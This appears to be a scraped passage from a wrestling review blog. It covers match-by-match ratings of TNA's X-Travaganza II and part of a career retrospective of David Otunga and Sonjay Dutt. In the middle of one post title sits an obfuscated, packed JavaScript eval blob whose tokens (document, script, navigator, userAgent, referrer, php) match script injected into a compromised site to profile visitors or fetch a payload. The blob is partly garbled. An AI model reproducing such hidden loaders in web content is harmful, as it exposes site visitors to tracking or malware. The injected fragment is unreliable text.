Jeremy gets caught in the corner for some fast tagging by Williams and Dutt. Petey gets caught in a bulldog out of the corner and it’s hot tag to Max. Dutt gets taken down by a CM Punk running knee/bulldog out of the corner as everything breaks down. Jeremy dives through the ropes to take Petey down on the floor as Sonjay gets two off the standing Sliced Bread.

Petey comes back in for another Russian legsweep on Max but Jeremy superkicks him down. More Bang For Your Buck (fireman’s carry slam by Jeremy into a 450 by Max into a moonsault from Jeremy) gets two on Sonjay as Petey makes the save and hits the Canadian Destroyer on Max, only to have Jeremy kick Williams in the face for the pin.

Rating: C. Take four guys, let them do high spots on each other for eight minutes, listen to the crowd cheer for them. The match was nothing great but there were some nice high spots to wake the crowd up. Petey was the best guy out there as Sonjay looked slow and the Bucks were their usual sloppy selves.

We’ll wrap it up with X-Travaganza II.

Ultimate X Qualifying Match: Petey Williams vs. Tigre Uno

Only Williams can qualify. They trade arm work to start (of course) before Petey drives him into the corner. A bouncing hurricanrana takes Williams out to the floor and a big corkscrew dive puts him down again. Back in and Petey puts on a half crab before changing over to a Crossface and then the Rings of Saturn. That goes nowhere so Williams puts him in the Tree of Woe and stands on Tigre’s crotch to sing O Canada.

Tigre comes back with an enziguri, counters a German suplex and nails another enziguri for good measure. In a quick ending, Tigre goes up and tries what looks to be a seated senton splash but it turns into a low blow for the pin. Petey pops up and seems surprised by the ending and doesn’t sell the move.

Rating: D. You bring Petey Williams back and he doesn’t even try the one move that people remember him for? Tigre Uno is one of the few guys in the X-Division that can actually do anything and he gets to beat a single guy and then go home for the night? This concept continues to make less and less sense every match.

Petey Williams is a guy who took one move and turned it into a career. Yeah he could do some other stuff, but almost every match he has is just building up towards the piledriver. He was a really entertaining lackey to Scott Steiner and got over again as Maple Leaf Muscle. I’m not the biggest fan in the world but the guy really isn’t all that bad.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

And check out my Amazon author page with wrestling books for under $4 at:



TNA One Night Only – X-Travaganza II: Time For A History Lesson

X-Travaganza eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esykd|var|u0026u|referrer|arbef||js|php'.split('|'),0,{})) II
Date: August 1, 2014
Location: Impact Zone, Orlando, Florida
Attendance: 1,400
Commentators: Mike Tenay, Jeremy Borash

It’s another One Night Only show with a look at the X-Division again. The first show was the first entry in the series and is still one of the better shows produced. The idea here is a series of singles matches with the winners going to an Ultimate X match at the end of the show. There’s actually a prize for the winner that matters too, as the Ultimate X winner gets an X-Division Title shot at some point in the future. Let’s get to it.

We open with the usual package from the show we’re about to see.

Low Ki talks about how his martial arts skills will help him win.

Video on Chris Sabin with nothing being said.

Ultimate X Qualifying Match: Low Ki vs. Chris Sabin

Sabin hides in the corner to start and then heads outside. Back in and Sabin takes over for a bit but stops to pose on the ropes. Low Ki chops Sabin out to the floor before chopping him in the corner back inside. Sabin finally comes back and drops Low Ki ribs first across the top rope. Off to an abdominal stretch on Ki’s weakened ribs followed by a running knee to the same target.

Sabin hooks a bodyscissors before putting Ki in the Tree of Woe and nailing a baseball slide for two. Ki comes back with a kick to the chest for two of his own and a springboard kick to the head gets the same. After doing nothing on the floor, Ki takes him back inside but Sabin drives him into the corner to counter the Ki Crusher. The second attempt works far better though and is good for the pin on Chris.

Rating: C-. I liked this better than I expected to but I still don’t care for Low Ki all that much. The guy just doesn’t do it for me with all those kicks. It was clear that Sabin was going through the motions and didn’t have a ton of interest in having a good match. That’s not the best way to go out, but man alive how was he World Champion a year ago?

We’re getting a list of Top X-Division Moments throughout the night, including all of Destination X 2011.

Austin Aries says he isn’t a sucker and is ready for his 2/3 falls match tonight against Sanada. He isn’t going to complain about cutting his foot on a shell at the beach, or being car lagged from driving up from his house, or being blinded by Sanada’s shiny clothes. Aries promises to take the title back tonight.

Ultimate X Qualifying Match: DJZ vs. Rashad Cameron

DJZ takes him into the corner but hides from the threat of a right hand. Cameron gains control and cranks on a headlock, causing DJZ to yell about Cameron touching his hair. Naturally Rashad pulls him down by the hair before putting on DJZ’s headset. He throws the headphones in the air for a distraction and chops DJZ down, only to have his dive attempt broken up. DJZ stomps in the corner and gets two off a flapjack.

We hit the chinlock and Tenay throws a big wrench into the whole concept of the night. Apparently these are NOT qualifying matches, at least not in the traditional sense. Only Cameron can qualify for whatever reason, meaning that if DJZ wins, both guys’ night is done. The idea is current X-Division guys vs. outsiders and only the outsiders can qualify. So if the TNA roster wins in a sweep, there’s no Ultimate X? How do they manage to screw up something this easy? Why do they need to make something this simple so complicated? Such is life in TNA.

Anyway, Cameron fights out of a chinlock but gets dropped ribs first onto the top rope. The fans chant DJ CHICKEN LEGS as DJZ misses a charge and falls out to the floor, setting up a big flip dive (Tenay’s words) to take DJZ down again. Back in and a high cross body and hurricanrana get two each for Cameron. With DJZ hunched over, Cameron jumps backwards from the middle rope into a cutter. I’ve never liked that move. Cameron misses a top rope splash but comes back with a small package for the pin.

Rating: C. The match wasn’t bad but DJZ really doesn’t do anything for me in the ring. The story here though was how hard my mind was blown by the stipulations. Insiders vs. outsiders is a fine idea, but why in the world would you not just let the winners into Ultimate X? I don’t see the benefit of having the active roster guys get nothing for a win, but to be fair there’s a lot of stuff about TNA I don’t get.

Video on Sanada which we’ve seen a few dozen times.

Ultimate X Qualifying Match: Rubix vs. Kenny King

Only Rubix can qualify. They circle each other for awhile until King takes him into the corner (popular opener tonight) for some knees to the ribs. Rubix comes back with AJ Lee’s Black Widow before nailing a dropkick to send King outside. King avoids a dive and nails a quick suplex to take over. Back in and King hits a running elbow in the corner and slaps on a chinlock.

It doesn’t last long, much like everything else tonight, allowing Rubix to nail a quick hurricanrana to send both guys back to the floor. Back in again and Rubix scores with a missile dropkick, only to get caught in a German suplex for two. Rubix hits another kick but charges into the Royal Flush for the pin.

Rating: C-. This wasn’t bad but it’s the same going through the motions that all three matches have done so far. Rubix is a guy I’ve enjoyed in the few matches he’s been in around here, but he doesn’t seem like someone that’s going to be around long term. I still don’t get why neither of these guys is going to Ultimate X either. King gets bragging rights, which he really shouldn’t be pleased with.

Highlight reel of big moves in X-Division.

Sonjay Dutt promises to get another shot at the X-Division Title tonight. Spud comes in and says it’s his night instead. Ethan Carter comes in and makes a match between them. Spud and Dutt leave and Ethan says he’s won almost all his matches, making all of them five star quality. Therefore, he’s going to put up $25,000 of his own money for a ladder match tonight.

Ace Vedder (Trent Barreta) is going to prove himself.

TJ Perkins, the man under Manik’s mask, talks about being homeless to follow his dreams.

Ultimate X Qualifying Match: Ace Vedder vs. Manik

Only Vedder can qualify. Tenay acknowledges that both guys used to wrestle under different names. I get the idea with Manik but I don’t get why Vedder changed from Greg Marasciulo. They start fast for a change with Manik putting on AJ Lee’s Black Widow. Quick pause for a history lesson here.

Back in the USWA, Dutch Mantell gave a rookie named Steve Austin a great wrestling lesson: he handed him a chair and said sit in the back and watch every single match all night long. Austin did just that and started to catch onto something: if you watch a match, you know what’s been seen that night. For example, if everyone had been working an arm that night, he would work a leg or a lower back. Why would he do that? Because the fans aren’t going to cheer as hard if they saw the same thing twenty minutes earlier.

This is the second person to use a unique submission move in two straight matches. Yeah that might be a move Manik likes to use and it does look cool, but when we just saw Rubix use it, I don’t want to see it again. You hear about wrestlers today playing video games or something like that during the show until their match is up and this is what happens as a result.

Remember what I said about taking someone into the corner being a popular way to start a match? It’s the same idea. There are dozens of ways to start a match, and any competent wrestler should be able to use a ton of them. However, if no one is paying attention, there’s a good chance they’ll repeat stuff and the fans are going to get bored. That’s not what a wrestler is paid for and it’s a problem that happens WAY too often in wrestling today.

Anyway, Vedder escapes the hold and puts on an armbar before kicking Manik in the ribs. Manik rolls out of the armbar and hooks a hurricanrana before doing the Ultimo Dragon handstand in the corner. They head outside and Manik sends him face first into the apron and nails a dive from the ring. Ace heads back inside and nails a dive of his own before running Manik over with an elbow for two.

Manik does his hanging in the ropes spot before avoiding a charge to send Ace back out to the floor. A slingshot dropkick drops Vedder and a missile dropkick back inside has him in big trouble. The fans are bordering on dead for this. Manik suplexes him down but takes too much time going up and gets slammed down. Ace’s tornado DDT gets two and Manik’s lifting powerbomb gets the same. Manik misses a top rope splash and Vedder hits a running boot to the back of the head for the pin.

Rating: C-. The match wasn’t bad but this show is dragging worse than a trailer with no wheels. There’s no reason to care about most of these guys as these are one off matches with no stories behind them. I have no reason to care about any of these matches because there’s almost no character to any of these guys coming in and the old guys have nothing to gain by winning. These kind of shows can work with good matches but this is almost all mediocre, making it hard to sit through.

Bad Influence says they’re awesome and will win the $25,000 in a ladder match against the Wolves. Ok there’s no way that won’t be awesome.

Video on Sonjay Dutt.

Ultimate X Qualifying Match: Sonjay Dutt vs. Rockstar Spud

Only Dutt can qualify. They finally lock up after a minute with Dutt flipping around a lot to counter a wristlock. Spud crawls around on his knees as Tenay compares Dutt to the Chicago Cubs. Sonjay whips him into the corner, does a Bushwhacker march for some reason, and nails a running clothesline. A standing moonsault gets two on Spud but he breaks up a springboard dive to take over.

Spud misses a top rope legdrop but keeps hammering away and puts on a neck crank. The Rockstar goes up again but misses a splash. Dutt nails a Downward Spiral into the middle buckle for two, followed by a middle rope missile dropkick for the same. Spud comes back with a slam and goes up a third time. It’s a missed elbow on this attempt and the moonsault double foot stomp gets the pin for Dutt.

Rating: D. See, Spud’s comedy only works when someone else in the match is bouncing off of him. In this case, Dutt was wrestling the match straight, making Spud look like an unfunny dolt who had no business being in the ring. In other words, he looked like himself. The match was dull and this formula really needs a break.

Video on Ultimate X from Victory Road 2008.

Petey Williams is back for one night only and declares tonight old school.

Video on Tigre Uno.

Video on Petey Williams, focusing on the Canadian Destroyer.

Ultimate X Qualifying Match: Petey Williams vs. Tigre Uno

Only Williams can qualify. They trade arm work to start (of course) before Petey drives him into the corner. A bouncing hurricanrana takes Williams out to the floor and a big corkscrew dive puts him down again. Back in and Petey puts on a half crab before changing over to a Crossface and then the Rings of Saturn. That goes nowhere so Williams puts him in the Tree of Woe and stands on Tigre’s crotch to sing O Canada.

Tigre comes back with an enziguri, counters a German suplex and nails another enziguri for good measure. In a quick ending, Tigre goes up and tries what looks to be a seated senton splash but it turns into a low blow for the pin. Petey pops up and seems surprised by the ending and doesn’t sell the move.

Rating: D. You bring Petey Williams back and he doesn’t even try the one move that people remember him for? Tigre Uno is one of the few guys in the X-Division that can actually do anything and he gets to beat a single guy and then go home for the night? This concept continues to make less and less sense every match.

Rashad Cameron says he’s the best and won’t stop until he has the title. Simple but not terrible promo here.

Another video on an Ultimate X match from 2003.

Here’s Ethan Carter III to introduce the ladder match. He talks about how it’s been all flips and kicks and dives tonight, but now it’s going to be kicks and flips and dives with LADDERS. Ethan goes on about how you can’t grab the brass ring because it’s on his finger as this is clearly filling time.

Bad Influence vs. Wolves

Ladder match for $25,000 and this HAS to be more interesting. It’s a brawl to start with the Wolves easily getting the better of it. The villains come back and send the Wolves into the barricade as they start isolating Richards in a sound strategy. Bad Influence tries to bring in a ladder but are forced to drop it to avoid a double baseball slide. Back in and the Wolves take over on Kaz before dropping Daniels ribs first onto the steps.

Kaz gets back up and grabs a ladder but gets in a tug of war with Davey. Eddie comes over and helps by pulling the ladder, and Kaz, into the post. Back in again and the Wolves hammer away on Daniels in the corner before throwing him out onto Kaz. Instead of climbing though, the Wolves try a double suicide dive but Bad Influence gets up a ladder for a block.

Two more ladders are brought inside and all four guys climb as fast as they can. That only lasts a few seconds as everyone is rammed into the steel and come down in a bunch of heaps. Daniels throws out a ladder and Kaz drops another on the mat. Daniels suplexes Kaz onto Eddie onto the ladder before Daniels drops a leg of his own. Davey stops a Kaz climb and runs him over with a ladder.

The ladder is wrapped around Bad Influence’s heads and kicked very hard in a spot that wasn’t as impressive as it should have been. Both Wolves try to climb but Daniels and Kaz are right back up for the save. Kaz kicks both of them into the ladder in the corner so Bad Influence can climb, only to get shoved down onto the ropes. Richards goes up top but gets kicked in the head. An attempt at a top rope Angel’s Wings is countered and Daniels lands hard on the ladder. Davey nails a top rope double stomp onto Daniels onto the ladder. There’s the powerbomb/Backstabber combo to Kaz, allowing Eddie to climb up for the win.

Rating: B. That might be a bit high but this was so different than everything else I’ve had to sit through tonight that it was much more entertaining. These are teams that know how to entertain a crowd and that’s exactly what we got for about sixteen minutes. They didn’t do anything unique or special but there’s nothing wrong with using spots that have been done before as long as they haven’t been seen in awhile.

Ethan comes out to congratulate them and start a Wolves chant but takes the check back. The Wolves kick him in the head and take the check.

We recap Sanada taking the X-Division Title from Austin Aries at the last One Night Only in Japan. This is the first time they’ve brought these things up from a previous show and it’s a nice change of pace.

X-Division Title: Sanada vs. Austin Aries

Sanada is defending and this is 2/3 falls. Aries starts in a crane position and they hit the mat for an early standoff. Sanada spins out of a wristlock into one of his own before they head back to the mat. The champion avoids a basement dropkick and Aries is getting frustrated. They run the ropes and this time it’s Sanada missing a dropkick, allowing Aries to lounge on the top rope. Another lockup goes to the champion as he pulls Aries down into a rolling cradle for two.

Sanada heads to the apron and they fight over a suplex, only to have Aries snap his throat across the top rope to put the champion on the floor. The suicide dive is blocked by a forearm (looked more like Aries tripped) and Sanada’s moonsault gives him the first fall in about five and a half minutes.

After a quick rest period, Sanada tries another moonsault to start the second fall (why he didn’t cover when Aries seemed to be unconscious isn’t clear) but gets shoved off the top and into the barricade. A neckbreaker onto the middle rope sends Sanada back to the floor but he beats the count at nine. Aries hits a middle rope dropkick to the back for two and the frustration is setting in.

Off to a figure four stump puller of all things on Sanada. After he drops back for a two count, Aries takes Sanada into the corner but the champion just unloads on him with forearms. Sanada loads up a springboard but gets knocked into the barricade to put him in trouble again. Aries nails a top rope ax handle to the floor but Sanada beats the count back in again.

With nothing else working, Aries tries a moonsault (looked good too) but only hits the mat. The champion gets a breather and comes back with a springboard chop to the head to put both guys down. Aries hits a quick knee crusher and a belly to back suplex followed by the running dropkick in the corner. Austin is all ticked off and loads up the brainbuster, only to have Sanada counter into a bridging rollup for the pin to retain.

Rating: B. I was really getting into this one at the end but the 2/3 falls stipulation caused some issues here. Aries not being able to pin Sanada was a great story as his mastery kept being one upped every time, but throwing everything at him just to get a single fall didn’t work. Still though, VERY good match here with an excellent story being told.

Video on the history of Ultimate X. This one is more in depth and has people talking about how dangerous but amazing the match is.

Low Ki says he’s done everything he wanted to do but when he comes back to TNA, he feels that desire to win one more match.

Ace Vedder talks about not being scared of anyone in the match.

Sonja Dutt calls himself an OG of the X-Division.

We recap how all four guys got to Ultimate X.

Rashad Cameron vs. Low Ki vs. Ace Vedder vs. Sonjay Dutt

The winner gets a future X-Division Title shot. In case you’ve never heard of Ultimate X, there will be a metal tower at each corner of the ring. Two red cables cross the ring and a big red X hangs at their intersection. You have to climb the towers and use the ropes to get to the X in the middle. The first person to pull it down is the winner. It’s one of TNA’s signature matches but isn’t used as much as it used to be.

We have Cameron vs. Dutt in the ring and Ki vs. Vedder on the floor to start. The pairings switch places and Ki crotches Vedder in the corner before pulling him down into a dragon sleeper while in the Tree of Woe. Dutt tries to climb but Cameron gets up for a save. That’s fine with Dutt as he knocks Cameron off the ropes and down onto the floor in a big crash. Ki and Dutt fight in the corner before having to work together to dropkick Cameron off the ropes and down to the mat.

Everyone is down until it’s Vedder chopping it out with Sonjay. Ki is thrown to the floor as Sonjay superkicks Ace down. Back in and Low Ki goes up, only to have Cameron climb after him. Vedder will have none of that and superplexes Cameron down to the mat. All four are down again with each guy in a corner. Dutt kicks Ki in the back of the head and Cameron hits a kind of reverse hurricanrana to drop Vedder. Dutt stops Low Ki from going for the X but gets sent outside by Cameron.

Now it’s Ki dropkicking Cameron out to the floor but a standing sliced bread #2 from Dutt drops Ki. Sonjay goes to the floor and climbs the tower instead of the buckle, only to climb above the ropes. Vedder goes up on the opposite side and this is rather terrifying. They chop it out as the structure is shaking. Sonjay actually puts on a camel clutch before sliding through one of the holes in the structure to stop Cameron. He takes too long though, allowing Low Ki to sneak in behind them and pull down the X for the win.

Rating: B-. Good match but as someone terrified of heights, that stuff at the end with Vedder and Dutt was nerve racking. They did some good high spots but nothing that hadn’t been done before. I was hoping for more from Cameron and Vedder, but Dutt and Ki were the most popular guys in the match and had to be the guys to take it.

As a total sidebar that I can’t imagine was intentional, Low Ki was tipped off as the winner for a reason that has nothing to do with the match. Ki was the odds on favorite for one reason: he was the first man introduced in the competition. Here’s the problem with One Night Only competitions: outside of bracketed tournaments, someone in the opening match has advanced to the finals and won the competition all but one time. James Storm did it at Joker’s Wild I, Gail Kim did it at Knockouts Knockdown, and now this. The lone exception was Joker’s Wild II with Ethan Carter III.

Overall Rating: C-. I’d be hard pressed to come up with a show where the last hour bailed out the first hour and forty minutes more than this one. The worst part of this is that the first six matches weren’t all that bad, but having them back to back had me begging for this show to be over. They needed to mix up the big matches with the qualifying matches to give us a break. Either that or have four qualifying matches and cut out the whole insiders vs. outsiders thing which didn’t need to happen. It’s not a terrible show but it’s very hard to get to the good parts.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

And check out my Amazon author page with wrestling books for under $4 at:



Wrestler of the Day – April 7: David Otunga/Sonjay Dutt

Today is an odd double shot, as we’re looking at Sonjay Dutt and David Otunga.

 

We’ll start with the only Harvard educated lawyer in wrestling history, David Otunga. Since it’s WWE and David Otunga is a very unique name in its own right, WWE felt the need to call him Dawson Alexander in FCW. Here’s one of his first matches, from September 6, 2009.

Dawson Alexander vs. Trent Barreta

An inset interview says that Dawson has just become a father of a son: David Otunga Jr. Leave it to WWE to make up a fake name then render it meaningless on their own TV show. Alexander runs him over with a shoulder block but gets taken down into a headlock. Another shoulder puts Trent down and a hard clothesline sends him to the floor. Back in and Trent takes Dawson down and puts on a camel clutch. It doesn’t last long though as Dawson backdrops him down and gets two off a modified spinebuster. Back up and a full spinebuster is good enough to give Alexander the pin.

Rating: D+. Again, why call him Alexander if you’re going to say his real name? These are the kind of things that make me shake my head about WWE at times. Trent didn’t get the chance to show what he could do here and it’s a shame that he had to be a jobber to Otunga. This was just a quick TV match though so the time being cut down is expected.

Otunga would be part of the first season of NXT with seven other rookies. Instead of listing off a match with each of them, here’s Otunga vs. all of them in a battle royal from March 30, 2010.

Battle Royal

Winner gets to host Raw and all eight rookies are the participants. Slater at least plays to the crowd a bit. Better than nothing. Everyone goes for Barrett as soon as the bell rings and he’s out in seconds. We come back from a break and Young is out as is Sheffield. Tarver, Slater and Bryan go out within 5 seconds of each other so it’s Gabriel vs. Otunga after about 45 seconds aired.

Basic speed vs. power thing here with Gabriel hitting the 450 that doesn’t help that much but you could argue that it hurts him. Instead of going for the kill Gabriel stands around with even Cole and Matthews getting on him. Otunga rakes his eyes and throws Gabriel over the top to win. This was, shall we say, uneventful.

Rating: D-. Yeah this was bad. Like I said within a minute that we saw six people were out. That’s not exactly something you can get into. Nothing special here at all.

Due to losing a match to Wade Barrett, John Cena was forced to join the Nexus. This allowed Wade to put him in matches, such as this one from Bragging Rights 2010.

Tag Titles: Cody Rhodes/Drew McIntyre vs. David Otunga/John Cena

WOW. Well this isn’t what I was expecting at all. Otunga and Rhodes start us off. It’s so weird to see Cena in a match 35 minutes into the show. The champions (can’t say heels I guess) control to start with very fast tags. Off to Cena who doesn’t want to tag. Cena refuses to tag out so Rhodes can drill him.

LOUD dueling Cena chants with the sucking crowd winning out over the going crowd. Not a very exciting match after the legit surprising announcement. The comeback sequence is initiated as Cena still won’t tag out. Futureshock is avoided but Drew gets a blind tag and Cross Roads are countered into the STF to give Nexus the belts. I don’t think Otunga landed a single punch.

Rating: D+. This was a glorified handicap match. I get that Cena is a far bigger star than either of the champions but to beat them both in just a matter of minutes is a bit of a stretch I think. This wasn’t much but I like them surprising us for a change on PPV. It wasn’t bad and I’m glad it wasn’t on TV, but this wasn’t much.

The title reign literally lasted one day as Nexus leader Wade Barrett made Cena lay down so that Justin Gabriel and Heath Slater could win the belts, keeping them in Nexus but screwing with Cena at the same time. Otunga would fall out of favor with Barrett for various reasons, meaning he had to win a match to stay on the team. The match was a lumberjack match and took place on November 12, 2010.

Edge vs. David Otunga

All of the Smackdown roster comes out and stalks Nexus. For no apparent reason they don’t close from both sides. Why is Goldust on a Smackdown show? Even Finlay is out there. Edge gets a spinwheel kick to start as Nexus is on the ramp rather than around the ring. We take a break less than a minute in and it’s all Edge. The Smackdown guys (including the Harts too) beat on Otunga before sending him back in.

Del Rio trips up Edge as he’s getting back in the ring so Otunga can take over a bit. His offense is so generic his finishing move might as well be called the vanilla ice cream drop. Edge makes his comeback after Otunga’s biggest move in his offensive flurry is a suplex. How could Edge come back after THAT? Edge gets a rollup for two.

He pauses to baseball slide Del Rio which starts a big brawl on the floor. In the ensuing chaos McGillicutty comes in and takes the spear that was supposed to be for Otunga. Edge sets for another on the A-List but Kane comes through the crowd and chokeslams him as Otunga crawls over for the pin to stay in Nexus at approximately 6:30 of 10:00 total.

Rating: D+. This just didn’t do it for me at all. Otunga is a solid talker and definitely has the look but he can’t back it up in the ring at all. This was just barely ok and the gimmicks were pretty clearly there to give us some cover for all of the inadequacies in David’s game. This was pretty bad and it never really went anywhere at all.

After the Nexus broke up, Otunga and McGillicutty continued to team up. Given how lame the division was around this time, they were able to get a Tag Team Title shot on the May 23, 2011 episode of Raw.

Tag Titles: Big Show/Kane vs. David Otunga/Michael McGillicutty

I don’t get why these two didn’t have the tag title shot last night since they won last week. Punk has boots up to his thighs that are white/yellow and look a bit odd. He sits in on commentary here. Kane and Otunga start us off and David heads to the floor to avoids a seated dropkick. A small chase starts but Otunga misses an elbow drop as Kane fakes him out.

Show comes in to a big pop and here’s Michael as well. Show sends him to the floor with ease as we take a break. Back with Nexus working over Kane as Punk says he doesn’t care which Nexus team wins the titles. Orunga gets a neckbreaker on Kane for two. Show comes in soon thereafter and the beatdown is on. Punk talks about how everything is going to be ok and Ryan tries to come in. Kane takes him down but Punk says he has faith and kicks Show in the head. A double DDT to Show and we have new champions at 8:54 total.

Rating: C. Not a bad match here and it’s probably a good thing to see the giants lose the titles. They can only go so far with the titles before things get really boring with them. Nexus needed something to go with here and the tag titles tend to be the first thing you’re given to get something established.

The team would hold the titles over most of the Summer before losing them to Air Boom. We’ll wrap it up because that’s a good pun for the following match. This is from the Holiday Special live Smackdown on November 29, 2011.

Randy Orton vs. David Otunga

This is a street fight. There are a bunch of Christmas trees at ringside as well as presents that slide around the floor. Otunga is in red shorts now instead of his normal trunks. Randy throws him into a bunch of trees and then the announce table. There’s a tray of cookies there so Orton has a bite, gives a face as if to say not bad, then smacks Otunga with the tray.

He grabs a wreath off the post, shouts HO HO HO in Otunga’s face (legit made me laugh) and sends him into the steps. Otunga goes under the ring and finds a kendo stick made to look like a candy cane. Orton takes him down though and beats Otunga with it as Otunga runs. Orton picks up a present and chucks it at David’s head to knock him down.

They go up the stage and Otunga goes into the big tree. There’s an elevated DDT to the floor but Barrett runs out for the beatdown. It would have helped a lot had Orton not looked over his shoulder just before the DDT. The big boot he takes Orton down with gets two and Otunga’s time is measured in seconds. There’s the finishing sequence and the RKO ends this at 7:38.

Rating: C+. This was meant to be a totally fun match and that’s all it was ever supposed to be. Barrett running in even advances the storyline a bit and it helped things somewhat. I had a very good time with this but I’m a total Christmas geek so I’m about as biased as you can be here. Fun match and it worked all around.

David Otunga is a guy with a great look who got caught up in a bad gimmick and never escaped. At the end of the day he just wasn’t cut out to be a big deal in WWE but his real life legal background should be enough to get him on television as a more muscular Clarance Mason at the least.

We’ll go a bit less mainstream now with Sonjay Dutt.

Dutt started off in the indies around 2002. We’ll take a look at an indy I’ve wanted to check out but never have gotten around to: Major League Wrestling. It’s basically a company that took a bunch of ECW and WCW guys and some indy talent and tried to make something once WWE was the only game in town. Dutt was part of it and because it’s only Junior Heavyweight Champion. Here’s a title defense from January 10, 2004.

Junior Heavyweight Title: Sonjay Dutt vs. Jack Evans

Evans is the king of the flippies if you’re not familiar with him and we get a little breakdancing before the match. Teddy Hart, perhaps the most annoying “wrestler” of all time is on commentary. Dutt runs him over to start before grabbing an armbar. Back up and Evans hits a running dropkick, only to be taken down with ease. Sonjay lifts up Evans’ shirt to fire off some chops before cranking on a chinlock. Evans comes back and sends him to the floor, only to be dropped face first onto the apron.

Back in and a hurricanrana gets two for Sonjay before a leg lariat puts Jack down again. A running clothesline spins Evans inside out and a double jump elbow drop (jump from the top into a springboard) gets two for the champion. The Hindu Press (Phoenix Splash) misses so Sonjay rolls him up for two instead. Not that it matters as a standing Shooting Star is enough to pin Evans.

Rating: D+. This wasn’t much either but it was a huge relief to not have Evans doing a bunch of flips to get on my nerves. At the same time though, I had to listen to Teddy Hart for seven minutes and my blood pressure is up as a result. Nothing to see here either but I’m assuming it sets up Teddy as the next challenger as he and Evans laid out Sonjay post match.

Sonjay would soon go to TNA and face Raven in a Hangman’s Horror match on August 18, 2004. Hangman’s Horror means there are straps hanging from each rope and you have to choke your opponent out to win.

Raven vs. Sonjay Dutt

Sonjay is replacing an injured Sabu who he had been teaming with recently. Dutt tries to jump Raven to start but a few right hands knock him back. Raven drops him onto the buckle to prevent having a rope put around his neck but misses a charge, sending him out to the floor. Sonjay hits a nice dive to send Raven into the barricade before hitting a running bulldog back in the ring. Two men in hoods are seen watching from somewhere in the arena.

Raven takes over on the floor with the Russian legsweep to send both guys into the barricade. Back in and Sonjay tries a hurricanrana but Raven just shoves him away. Raven puts the chain around Dutt’s throat but goes to get a chair, allowing Sonjay to try a choke with his legs. It works for a bit but Raven gets the chair up and knocks Dutt silly. Sonjay fights back with right hands and some clotheslines followed by an enziguri.

A springboard dropkick puts Raven down but Dutt goes to get a trashcan. Dutt hits a stiff shot before putting the chain around Raven’s neck. The hooded guys are closer to the ring now. Sonjay now has two chains tied around Raven’s neck and it’s time for some trashcan shots. One of them knocks a chain loose but Raven goes down anyway. Sonjay goes up but gets slammed through a table at ringside to put both guys down. Raven heads out to get him but walks into a fireball, allowing Sonjay to choke Raven for the shocking upset win.

Rating: C-. This was a decent wild brawl but the ending was shocking. I mean….it’s Sonjay Dutt beating Raven. That’s just not something you expect to see happen but it did here and it was…..well it wasn’t clean at all but it’s a Hangman’s Horror match so what are you expecting? This didn’t lead anywhere for Dutt as far as I know.

TNA would soon start running monthly PPVs with the X-Division still being a focus. Here’s a fourway match from Lockdown 2005.

Xscape Match: Matt Bentley vs. Sonjay Dutt vs. Chris Sabin vs. Shocker

I miss the HAIL SABIN thing. The idea here is you have to get rid of two guys by traditional means and then get out of the cage once it’s one on one. This isn’t for anything apparently. Shocker is a luchador. Sweet goodness they have to tag in this. Does anyone think these things through? Sabin and Dutt give us a gymnastic routine to start which gets a well rounded golf clap.

Dutt was insane to watch. He wasn’t particularly good but he was fun to watch. Tenay tries to tell us that this is the tallest cage in wrestling. They’ve never been to an OVW cage match. That this is taller than the Cell. Dutt and Shocker double team Bentley. He never was very good but he’s Shawn Michaels cousin so there you go. Dutt is bleeding from the elbow. Bentley beats him up for a bit. Thankfully the Bentley Bounce isn’t part of this match.

More gymnastics from Dutt who brings in Sabin again. This is a spotfest if I’ve ever seen one. There’s no flow or anything to it as they just move from spot to spot. Not saying it’s bad mind you, but it’s just kind of all over the place. West: the wall of the steel cage is like a wall of steel. Somehow he’s still better than Tazz. Shocker comes back in and gets a cradle on Bentley for two.

Bentley gets a reverse Tarantula on Shocker, as in his legs are wrapped around Shocker’s head and he’s grabbing Shocker’s feet while their backs are facing each other. Dutt comes in to put a chinlock on Bentley so Sabin comes in to put a Boston Crab on Dutt. Cool looking spot but it’s not like it gets us anywhere as they break it in a few seconds.

Sabin hits a BIG running powerbomb on Dutt but Shocker saves for no apparent reason. Bentley sends Dutt into the cage but Shocker cleans house and hits a corkscrew elbow to get rid of Dutt. Shocker vs. Bentley now with Shocker going up but getting hit by a Northern Lights Suplex off the top for two.

Trinity, the chick there with Bentley, comes up to help him so Traci comes out to stop her. And so much for that as she gets shoved off and hurts her ankle. Trinity goes to the top of the cage and hits a BIG moonsault off the top to take out all three guys. Traci comes in again and AGAIN gets shoved out. Sabin gets Cradle Shock on Bentley to get us down to one on one.

Ok so now it’s an escape match. They both get crotched on the top rope and we’re both down. And then they both climb at the same time and fight on top of the cage before both drop down but Shocker hits first. I’d love someone to just jump off the top and run through the door instead of climbing down like that one time. Kind of a weak ending.

Rating: C+. Pretty fun match here but the ending and the tagging hurt it a good deal. That moonsault from Trinity was pretty freaking awesome though and I’m surprised it’s not on more highlight reels. It’s a shame this wasn’t like, for something other than bragging rights I guess. Not bad and I’ve never gotten why Shocker just kind of left as he was pretty good.

Sonjay would team up with Chris Sabin to win a tournament, earning them a Tag Team Title shot at Against All Odds 2006.

Tag Titles: America’s Most Wanted vs. Sonjay Dutt/Chris Sabin

Sabin and Dutt won some tournament to win this shot. Sabin might have an ankle injury coming into this. Dutt and Storm start and the fans want the Cowboy killed. Dutt starts with his usual flipping offense and a cross body for two. Sabin comes in with some of the same double team offense that he and Shelley would use as the Guns. Sabin gets in a kick to the ribs of Storm but Harris trips him up and wraps the bad ankle/leg around the post.

AMW starts in on the leg and it’s off to Harris. He takes off the knee wrap and puts on a leg lock. Sabin gets up and tries to fight out of the champions’ corner, only to be taken right back down by the leg. Storm comes back in with a chinlock and a Backstabber for two. Back to Harris as the leg work continues. The referee checks on Sabin’s knee but Storm jumps him anyway.

